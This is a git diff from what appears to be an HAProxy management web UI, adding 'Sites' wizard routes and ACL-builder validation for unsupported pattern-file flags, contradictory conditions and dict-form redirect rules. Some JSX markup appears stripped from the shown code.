"sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/workbox-webpack-plugin/node_modules/webpack-sources": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + }, + "node_modules/workbox-window": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-6.6.0.tgz", + "integrity": "sha512-L4N9+vka17d16geaJXXRjENLFldvkWy7JyGxElRD0JvBxvFEd8LOhr+uXCcar/NzAmIBRv9EZ+M+Qr4mOoBITw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/trusted-types": "^2.0.2", + "workbox-core": "6.6.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dev": true, + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/ws": { + "version": "7.5.10", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.10.tgz", + "integrity": "sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz", + "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true, + "license": "MIT" + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + }, + "node_modules/yaml": { + "version": "1.10.3", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.3.tgz", + "integrity": "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "license": "MIT", + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + } + } +} diff --git a/frontend/package.json b/frontend/package.json index 53a8282..73c1fa5 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -1,6 +1,6 @@ { "name": "haproxy-openmanager-frontend", - "version": "1.4.0", + "version": "1.5.0", "description": "HAProxy Load Balancer Management UI", "dependencies": { "react": "^18.2.0", diff --git a/frontend/src/App.js b/frontend/src/App.js index 7414d40..dd8f253 100644 --- a/frontend/src/App.js +++ b/frontend/src/App.js @@ -20,7 +20,9 @@ import { SearchOutlined, ClusterOutlined, BulbOutlined, - BulbFilled + BulbFilled, + PlusOutlined, + ThunderboltOutlined } from '@ant-design/icons'; import Dashboard from './components/DashboardV2'; @@ -43,6 +45,8 @@ import ClusterManagement from './components/ClusterManagement'; import Configuration from './components/Configuration'; import APIDocumentation from './components/APIDocumentation'; import IPInventory from './components/IPInventory'; +import SiteWizard from './components/SiteWizard'; +import SiteDrafts from './components/SiteDrafts'; import { AuthProvider, useAuth } from './contexts/AuthContext'; import { ClusterProvider } from './contexts/ClusterContext'; import { ThemeProvider, useTheme } from './contexts/ThemeContext'; @@ -62,6 +66,51 @@ const { Text } = Typography; icon: , label: Dashboard, }, + // R18: rebrand to "Sites" / "New Site (Wizard)". + // + // Rationale (user feedback after R17): + // - "Quick Setup" was ambiguous — it could mean "set up the cluster", + // "set up an account", "set up TLS"... not specific enough. + // - "New Site (Wizard)" matches what dominant ingress tools call + // this exact concept: Cloudflare ("Add a site"), nginx-proxy- + // manager ("Proxy Hosts"), Plesk/cPanel ("Add domain / new site"), + // Caddy admin UIs ("Sites"). It is also self-explanatory: the + // operator publishes a *site* (frontend + backend + SSL). + // - Group label "Sites" is entity-oriented (matches Frontends, + // Backend Servers, SSL Certificates pattern in this very menu). + // + // Backward-compat: + // - Legacy R17 routes /quick-setup{,/drafts} kept as aliases. + // - Pre-R17 routes /proxied-hosts/{new,drafts} also kept. + // - All three resolve to the SAME components — old bookmarks / + // screenshots / issue links keep working. + { + key: 'sites-group', + icon: , + label: 'Sites', + children: [ + { + key: '/sites/new', + icon: , + label: ( + + New Site (Wizard) + + ), + }, + { + key: '/sites/drafts', + icon: , + label: Site Drafts, + }, + ], + }, + // R18b round 8: New Site (Wizard) is now a top-level group, so + // the Frontends entry no longer needs a single "All Frontends" + // child under a collapsible group. Flattening to a top-level + // link removes a click for every operator and matches the rest + // of the sidebar (Backends, SSL Certificates, Apply Changes... + // are all top-level). { key: '/frontends', icon: , @@ -153,7 +202,19 @@ function AppContent() { const [appVersion, setAppVersion] = React.useState(''); React.useEffect(() => { - setSelectedKey(location.pathname); + // R18 audit fix: legacy aliases (/proxied-hosts/* and /quick-setup/*) + // resolve to the same components as the canonical /sites/* paths, + // but the menu items only carry the canonical keys. Without this + // normalization, a user landing on a bookmarked legacy URL sees no + // sidebar highlight, which feels like the route is broken. + const path = location.pathname; + let key = path; + if (path === '/proxied-hosts/new' || path === '/quick-setup') { + key = '/sites/new'; + } else if (path === '/proxied-hosts/drafts' || path === '/quick-setup/drafts') { + key = '/sites/drafts'; + } + setSelectedKey(key); }, [location.pathname]); React.useEffect(() => { @@ -264,6 +325,20 @@ function AppContent() { theme="dark" mode="inline" selectedKeys={[selectedKey]} + // R18: auto-open the relevant submenu based on the current + // route. The Sites group expands on the canonical /sites/* + // route AND on every legacy alias (/quick-setup/*, /proxied- + // hosts/*) — so a user landing on a bookmarked old URL still + // sees the menu in the right state. + defaultOpenKeys={[ + ...(selectedKey.startsWith('/sites') || + selectedKey.startsWith('/quick-setup') || + selectedKey.startsWith('/proxied-hosts') + ? ['sites-group'] + : []), + // R18b round 8: frontends-group flattened to a top-level + // link, so no defaultOpenKeys entry is needed for it. + ]} items={menuItems} style={isDarkMode ? { background: '#141414' } : undefined} /> @@ -363,6 +438,19 @@ function AppContent() { } /> } /> + {/* R18: canonical "Sites" routes — the New Site (Wizard) + is the primary entry point under the top-level Sites + group. Two layers of legacy aliases follow so neither + v1.5.0 (proxied-hosts) nor R17 (quick-setup) deep links + break. All three resolve to the same components. */} + } /> + } /> + {/* R17 legacy aliases */} + } /> + } /> + {/* v1.5.0 legacy aliases */} + } /> + } /> } /> } /> } /> diff --git a/frontend/src/components/ACLRuleBuilder.js b/frontend/src/components/ACLRuleBuilder.js index 3a07cc6..41a2b8f 100644 --- a/frontend/src/components/ACLRuleBuilder.js +++ b/frontend/src/components/ACLRuleBuilder.js @@ -53,9 +53,19 @@ const MATCH_TYPE_GROUPS = [ { label: 'Advanced', options: MATCH_TYPES.filter(m => m.category === 'Advanced') }, ]; +// Phase K Phase D follow-up (Bulgu #12 round 3) — the `-f ` +// flag was removed from the visual builder because HAProxy OpenManager +// does not provision pattern files onto the HAProxy node filesystem. +// Allowing `-f` in the visual builder produced ACL rules that passed +// every UI / Pydantic / heuristic check but ALWAYS failed HAProxy's +// real `-c` parse at apply time with "failed to open pattern file". +// Operators reported a multi-page wizard run ending at the Apply +// Management red-badge for a footgun the UI made trivial to step on. +// The Pydantic validators on the manual API + wizard reject `-f` +// universally; the visual builder simply removes the option from the +// dropdown so operators cannot author the unsupported state. const FLAGS = [ { value: '-i', label: '-i (case insensitive)' }, - { value: '-f', label: '-f (from file)' }, { value: '-m beg', label: '-m beg (begins with)' }, { value: '-m end', label: '-m end (ends with)' }, { value: '-m sub', label: '-m sub (contains)' }, @@ -65,16 +75,88 @@ const FLAGS = [ { value: '-m found', label: '-m found (exists)' }, ]; +// Phase K Phase D follow-up (Bulgu #13) — `-m found` checks +// whether the underlying sample fetch returns ANY value at all. +// For sample fetches that ALWAYS return a value in a normal HTTP +// request (`path`, `url`, `hdr(...)`, `method`, `src`, etc.) the +// match is trivially true → the ACL is always true → routing +// rules that gate on it become unconditional. This is almost +// never what the operator means. +// +// The flag IS meaningful for fetches that may return null +// (`srv_conn()`, `nbsrv()`, `req.cook()`, +// `urlp()` etc.). Those live under the "Advanced" +// category in this builder, so we restrict `-m found` to that +// category only — the dropdown for Path/URL/Header/Method/ +// Network/SSL omits it. +const ALWAYS_PRESENT_CATEGORIES = new Set([ + 'Path', 'URL', 'Header', 'Method', 'Network', 'SSL', +]); +function flagsForCategory(category) { + if (!category || ALWAYS_PRESENT_CATEGORIES.has(category)) { + return FLAGS.filter((f) => f.value !== '-m found'); + } + return FLAGS; +} + const FLAG_HINTS = { - Path: '-i, -f ...', - URL: '-i, -f ...', + Path: '-i ...', + URL: '-i ...', Header: '-i ...', Method: '-i ...', - Network: '-f ...', + Network: 'Optional', SSL: 'Optional', Advanced: 'Optional', }; +// Phase K Phase D follow-up (Bulgu #12 round 3) — detection regex for +// `-f` references in raw-mode authored ACL rules. The Pydantic +// validator rejects the same shape server-side; we mirror it +// client-side so the operator sees an inline error before submit. +const ACL_FILE_FLAG_PATTERN = /(?:^|\s)-f(?:\s|$)/; + +// Phase K Phase D follow-up (Bulgu #13) — detect contradictory ACL +// conditions of the form `acl1 !acl1` (operator picked both the +// positive AND the negated form of the same ACL from the Select +// dropdown). HAProxy accepts the syntax but the rule's predicate is +// `acl1 AND NOT acl1` → always FALSE → the rule is dead code and +// the operator is silently routed to `default_backend` instead. +// +// Returns a Set of ACL names that appear in BOTH positive and +// negated form in the token list. Empty set means the condition +// is logically consistent (or at least not self-contradictory in +// the obvious way). +function detectContradictoryAclTokens(tokens) { + const positives = new Set(); + const negatives = new Set(); + for (const raw of tokens) { + if (!raw || typeof raw !== 'string') continue; + const t = raw.trim(); + if (!t) continue; + // Accept tokens that are purely an ACL identifier or its + // negation. Anything else (e.g. anonymous `{ ssl_fc }`, + // `if`, `unless`) is ignored — we only flag the SAME ACL + // referenced twice in opposite polarity. + if (/^![A-Za-z_][\w.-]*$/.test(t)) { + negatives.add(t.slice(1)); + } else if (/^[A-Za-z_][\w.-]*$/.test(t)) { + positives.add(t); + } + } + const conflicts = new Set(); + positives.forEach((name) => { + if (negatives.has(name)) conflicts.add(name); + }); + return conflicts; +} + +const CONTRADICTORY_TOOLTIP = + 'Condition contains the same ACL in both positive and negated ' + + 'form (e.g. `acl1 !acl1`). HAProxy accepts the syntax but the ' + + 'predicate `X AND NOT X` is always false, so the rule never ' + + 'fires and traffic silently falls through to `default_backend`. ' + + 'Remove one of the two tokens.'; + const REDIRECT_TYPES = [ { value: 'scheme', label: 'Scheme', description: 'Change protocol (HTTP→HTTPS)' }, { value: 'prefix', label: 'Prefix', description: 'Change URL prefix' }, @@ -208,9 +290,46 @@ function serializeUseBackendRule(rule) { /** * Parse redirect rule string like "scheme https if !{ ssl_fc }" */ -function parseRedirectRule(ruleStr) { - if (!ruleStr || typeof ruleStr !== 'string') return null; - let str = ruleStr.trim(); +// Bulgu #70 (round-22 audit) — wizard-generated redirect rules are +// persisted as DICTS in the `frontend.redirect_rules` JSONB column, +// not as strings (see +// `backend/routers/site_wizard.py::_build_redirect_rules` which +// emits `{type:'scheme', scheme:'https', code:301, condition:...}`). +// Pre-fix `parseRedirectRule` rejected anything that wasn't a +// string with `typeof !== 'string' → return null`, then the caller +// `.filter(Boolean)`-ed the result. Net effect: every time an +// operator opened the FrontendManagement edit modal on a +// wizard-created frontend with `https_redirect=true`, the +// in-memory `redirectRules` list silently DROPPED the dict, and +// hitting Save persisted an empty `redirect_rules: []` — wiping +// the HTTPS redirect / ACME-challenge bypass that the wizard had +// configured. The data loss was invisible (no toast, no warning) +// and only surfaced when end-users hit the site on port 80 and +// no longer got the 301. +// +// Normalize dicts here so they round-trip through the FE edit +// flow as ordinary structured rules; the renderer at +// `services/haproxy_config.py::_format_redirect_rule` accepts +// either dict OR string, so serializing back to a string on +// save is semantically equivalent. +function parseRedirectRule(rule) { + if (rule == null) return null; + if (rule && typeof rule === 'object' && !Array.isArray(rule)) { + const rtype = String(rule.type || '').trim().toLowerCase(); + let target = ''; + if (rtype === 'scheme') target = String(rule.scheme || '').trim(); + else if (rtype === 'location') target = String(rule.location || '').trim(); + else if (rtype === 'prefix') target = String(rule.prefix || '').trim(); + if (!rtype || !target) return null; + const code = rule.code != null && rule.code !== '' ? String(rule.code) : ''; + let condition = String(rule.condition || '').trim(); + if (condition && !/^\s*(if|unless)\b/i.test(condition)) { + condition = `if ${condition}`; + } + return { type: rtype, target, code, condition }; + } + if (typeof rule !== 'string') return null; + let str = rule.trim(); if (str.toLowerCase().startsWith('redirect ')) { str = str.substring(9).trim(); } @@ -218,7 +337,7 @@ function parseRedirectRule(ruleStr) { // Pattern: "type target [code NNN] [if|unless condition]" const typeMatch = str.match(/^(scheme|prefix|location)\s+/i); - if (!typeMatch) return { raw: ruleStr.trim() }; + if (!typeMatch) return { raw: rule.trim() }; const type = typeMatch[1].toLowerCase(); let rest = str.substring(typeMatch[0].length).trim(); @@ -277,17 +396,45 @@ function ACLDefinitionCard({ rule, index, onChange, onDelete }) { }; const isRaw = rule.raw !== undefined; + // Phase K Phase D follow-up (Bulgu #12 round 3) — surface `-f` flag + // usage inline. The Pydantic validator rejects the rule server-side, + // but operators benefit from seeing the error AS they type / when + // they re-open a draft that carries a `-f`-flagged rule (e.g. from + // a pre-fix draft). The error message matches the Pydantic error + // verbatim so support flows are consistent. + const rawHasFileFlag = isRaw && typeof rule.raw === 'string' && ACL_FILE_FLAG_PATTERN.test(rule.raw); + const structuredHasFileFlag = + !isRaw && Array.isArray(rule.flags) && rule.flags.includes('-f'); + const hasFileFlag = rawHasFileFlag || structuredHasFileFlag; + const cardStyleWithError = hasFileFlag + ? { ...ruleCardStyle, border: `1px solid ${token.colorError}` } + : ruleCardStyle; + const FILE_FLAG_TOOLTIP = + "ACL pattern-file references (-f ) are not supported by " + + "HAProxy OpenManager: the product does not provision pattern " + + "files onto the HAProxy node filesystem, so the reference " + + "would fail at HAProxy reload time. Remove '-f' and use inline " + + "values instead."; + if (isRaw) { return ( - + - onChange(index, { raw: e.target.value })} - placeholder="Raw ACL rule (e.g. my_acl path_beg /api)" - prefix={RAW} - /> + + onChange(index, { raw: e.target.value })} + placeholder="Raw ACL rule (e.g. my_acl path_beg /api)" + prefix={RAW} + status={hasFileFlag ? 'error' : undefined} + /> + + {hasFileFlag && ( + + {FILE_FLAG_TOOLTIP} + + )} @@ -308,7 +455,7 @@ function ACLDefinitionCard({ rule, index, onChange, onDelete }) { const matchDef = MATCH_TYPES.find(m => m.value === rule.matchType); return ( - + + {/* Phase K Phase D follow-up (Bulgu #12 round 3) — `-f` is + no longer surfaced as a selectable flag. Legacy rules + that already carry it remain visible as a tag (so the + operator can still REMOVE it) but cannot be re-added + once removed. */} {(() => { - const hasFileFlag = (rule.flags || []).includes('-f'); - const badFilePath = hasFileFlag && rule.value && !rule.value.startsWith('/'); if (rule.matchType === 'ssl_fc') { return (no value needed); } @@ -388,17 +544,20 @@ function ACLDefinitionCard({ rule, index, onChange, onDelete }) { ); } return ( - - onChange(index, { ...rule, value: e.target.value })} - placeholder={hasFileFlag ? '/path/to/patterns.txt' : (matchDef?.placeholder || 'Value')} - size="small" - status={badFilePath ? 'error' : undefined} - /> - + onChange(index, { ...rule, value: e.target.value })} + placeholder={matchDef?.placeholder || 'Value'} + size="small" + status={structuredHasFileFlag ? 'error' : undefined} + /> ); })()} + {structuredHasFileFlag && ( + + {FILE_FLAG_TOOLTIP} + + )} @@ -478,22 +637,69 @@ function BackendRoutingCard({ rule, index, onChange, onDelete, backends, aclName {aclNames.length > 0 ? ( - + (() => { + const tokens = rule.condition + ? rule.condition.split(/\s+/).filter(t => t && t !== 'if' && t !== 'unless') + : []; + const conflicts = detectContradictoryAclTokens(tokens); + const hasConflict = conflicts.size > 0; + return ( +
+ + + + {hasConflict && ( + + Contradictory condition (`X AND NOT X` always false). Conflicting ACL: {[...conflicts].join(', ')} + + )} +
+ ); + })() ) : ( d.name); }, [aclDefs]); + // Phase K Phase D follow-up (Bulgu #12 round 3) — count rules that + // still carry the unsupported `-f ` flag. Surfaced as a + // section-level Alert so operators know the section as a whole + // has invalid rules even if individual cards / raw text would + // otherwise need scrolling to find them. + const fileFlagRuleCount = useMemo(() => { + let count = 0; + for (const d of aclDefs) { + if (d.raw !== undefined) { + if (typeof d.raw === 'string' && ACL_FILE_FLAG_PATTERN.test(d.raw)) count += 1; + } else if (Array.isArray(d.flags) && d.flags.includes('-f')) { + count += 1; + } + } + // ALSO scan the raw textarea content because in raw mode the + // parsed `aclDefs` may not reflect what the operator is mid- + // typing — we want the warning to track keystrokes. + if (rawModeAcl && typeof rawTextAcl === 'string') { + for (const line of rawTextAcl.split('\n')) { + if (ACL_FILE_FLAG_PATTERN.test(line)) count += 1; + } + } + return count; + }, [aclDefs, rawModeAcl, rawTextAcl]); + + // Phase K Phase D follow-up (Bulgu #13) — count routing AND + // redirect rules whose `condition` contains the same ACL in + // both positive and negated form (e.g. `acl1 !acl1`). These + // are dead code: HAProxy accepts the syntax but the predicate + // is permanently false, so traffic silently falls through to + // `default_backend`. Surface as a section-level error to drive + // the operator to fix it BEFORE submit. + const contradictoryRuleCount = useMemo(() => { + let count = 0; + const tokenise = (str) => + (typeof str === 'string' ? str : '') + .split(/\s+/) + .filter((t) => t && t !== 'if' && t !== 'unless'); + for (const r of routingRules || []) { + if (r && typeof r.condition === 'string') { + if (detectContradictoryAclTokens(tokenise(r.condition)).size > 0) count += 1; + } + } + for (const r of redirectRules || []) { + if (r && typeof r.condition === 'string') { + if (detectContradictoryAclTokens(tokenise(r.condition)).size > 0) count += 1; + } + } + return count; + }, [routingRules, redirectRules]); + // ─── Emit changes ───────────────────────────── const emitChange = useCallback((newAcls, newRouting, newRedirects) => { if (!onChange) return; @@ -888,6 +1153,38 @@ export default function ACLRuleBuilder({ aclRules = [], useBackendRules = [], re Define named conditions to match incoming requests by path, header, source IP, and more. + {/* Phase K Phase D follow-up (Bulgu #12 round 3) — section- + level warning when one or more rules still carry the + unsupported `-f ` pattern-file flag. Render as a + blocking-style Alert so the operator notices BEFORE + Submit. The Pydantic validator rejects the same shape + server-side; this is the up-front authoring guardrail. */} + {fileFlagRuleCount > 0 && ( + \` flag`} + description="HAProxy OpenManager does not provision pattern files onto the HAProxy node filesystem, so any `-f /path/...` reference would fail HAProxy reload at apply time with 'failed to open pattern file'. Remove the `-f` flag and switch to inline values (e.g. `src 10.0.0.0/24` instead of `src -f /etc/haproxy/admins.lst`)." + /> + )} + + {/* Phase K Phase D follow-up (Bulgu #13) — section-level + warning for routing/redirect rules whose condition is + self-contradictory (`X AND NOT X`). HAProxy accepts the + syntax but the rule never fires. Surfaced here so the + operator can correlate the inline per-card error with + an overview count. */} + {contradictoryRuleCount > 0 && ( + + )} + {rawModeAcl ? (